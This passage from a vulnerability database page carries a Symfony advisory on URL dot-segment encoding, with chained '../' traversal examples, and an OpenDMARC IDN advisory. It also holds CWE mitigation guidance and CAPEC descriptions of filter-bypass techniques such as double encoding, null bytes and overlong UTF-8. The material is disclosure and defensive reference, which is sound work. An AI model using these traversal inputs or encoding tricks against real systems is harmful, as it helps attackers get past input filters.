"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48784"
],
"database_specific": {
"cwe_ids": [
"CWE-172",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T17:33:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Description\n\n`Symfony\\Component\\Routing\\Generator\\UrlGenerator::doGenerate()` percent-encodes `.` and `..` path segments so that the generated URL still resolves to the originating route after RFC 3986 \u00a75.2.4 dot-segment removal (which strict RFC-3986 consumers \u2014 routers, reverse proxies, HTTP clients \u2014 perform *before* percent-decoding).\n\nThe encoding was implemented as `strtr($url, [\u0027/../\u0027 =\u003e \u0027/%2E%2E/\u0027, \u0027/./\u0027 =\u003e \u0027/%2E/\u0027])` plus a trailing-segment fixup. `strtr` advances past the trailing `/` of each match, so the next dot-segment in a chained sequence was left unescaped:\n\n| Input | Output (before fix) | Expected |\n| -------------------- | ---------------------------------------- | ----------------------------------- |\n| `/../../../` | `/%2E%2E/../%2E%2E/` | `/%2E%2E/%2E%2E/%2E%2E/` |\n| `/foo/../../../bar` | `/foo/%2E%2E/../%2E%2E/bar` | `/foo/%2E%2E/%2E%2E/%2E%2E/bar` |\n\nWhen a route exposes a parameter constrained by a permissive requirement (`.+`, `.*`, or similar) that accepts dots and slashes, attacker-controlled chained `..` or `.` segments produce a generated URL that, under strict RFC 3986 normalization, collapses to a different path than the originating route. The Twig `path()` / `url()` helpers and any server-side use of `UrlGenerator` are affected. Same class of route round-trip integrity issue as CVE-2026-45065.\n\nNote: WHATWG-conformant browsers treat `%2E`/`%2E%2E` as dot-segments during URL parsing, so the encoding never protected browser-side traversal. The defense exists for RFC-3986-conformant consumers; restoring it for chained segments closes the gap there.\n\n### Resolution\n\n`UrlGenerator` now matches every `/.` or `/..` dot-segment in a single left-to-right `preg_replace_callback` pass using a lookahead that does not consume the trailing `/`, so adjacent dot-segments are encoded correctly.\n\nThe patches for this issue are available [here](https://github.com/symfony/symfony/commit/4b63c3a3f7af04ecd79c89a594b0b02a01990b1d) for branch 5.4 (and forward-ported to 6.4, 7.4, 8.0 and 8.1).\n\n### Credits\n\nSymfony would like to thank Alex Pott for reporting the issue and Nicolas Grekas for providing the fix.",
"id": "GHSA-h5x3-xfc9-m39h",
"modified": "2026-06-15T17:33:46Z",
"published": "2026-06-15T17:33:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/symfony/symfony/security/advisories/GHSA-h5x3-xfc9-m39h"
},
{
"type": "WEB",
"url": "https://github.com/symfony/symfony/commit/4b63c3a3f7af04ecd79c89a594b0b02a01990b1d"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/routing/CVE-2026-48784.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-48784.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/symfony/symfony"
},
{
"type": "WEB",
"url": "https://symfony.com/cve-2026-48784"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Symfony: UrlGenerator Dot-Segment Encoding Skips Every Other Chained `../` or `./` \u2192 Generated URL Collapses Off-Route Under RFC 3986 Normalization"
}
GHSA-H88R-M2WP-C7V2
Vulnerability from github – Published: 2026-09-28 03:30 – Updated: 2026-09-28 03:30A vulnerability has been found in Trusted Domain Project OpenDMARC up to 1.4.2. Affected by this issue is the function opendmarc_policy_query_dmarc in the library libopendmarc/opendmarc_policy.c of the component Internationalized Domain Name Handler. Such manipulation leads to encoding error. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-100891"
],
"database_specific": {
"cwe_ids": [
"CWE-172"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-28T01:16:28Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in Trusted Domain Project OpenDMARC up to 1.4.2. Affected by this issue is the function opendmarc_policy_query_dmarc in the library libopendmarc/opendmarc_policy.c of the component Internationalized Domain Name Handler. Such manipulation leads to encoding error. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-h88r-m2wp-c7v2",
"modified": "2026-09-28T03:30:26Z",
"published": "2026-09-28T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100891"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-100891"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/917215"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/410841"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/410841/cti"
},
{
"type": "WEB",
"url": "https://weitongli.com/share/opendmarc-ulabel-not-converted.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-52: Embedding NULL Bytes
An adversary embeds one or more null bytes in input to the target software. This attack relies on the usage of a null-valued byte as a string terminator in many environments. The goal is for certain components of the target software to stop processing the input when it encounters the null byte(s).
CAPEC-53: Postfix, Null Terminate, and Backslash
If a string is passed through a filter of some kind, then a terminal NULL may not be valid. Using alternate representation of NULL allows an adversary to embed the NULL mid-string while postfixing the proper data so that the filter is avoided. One example is a filter that looks for a trailing slash character. If a string insertion is possible, but the slash must exist, an alternate encoding of NULL in mid-string may be used.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.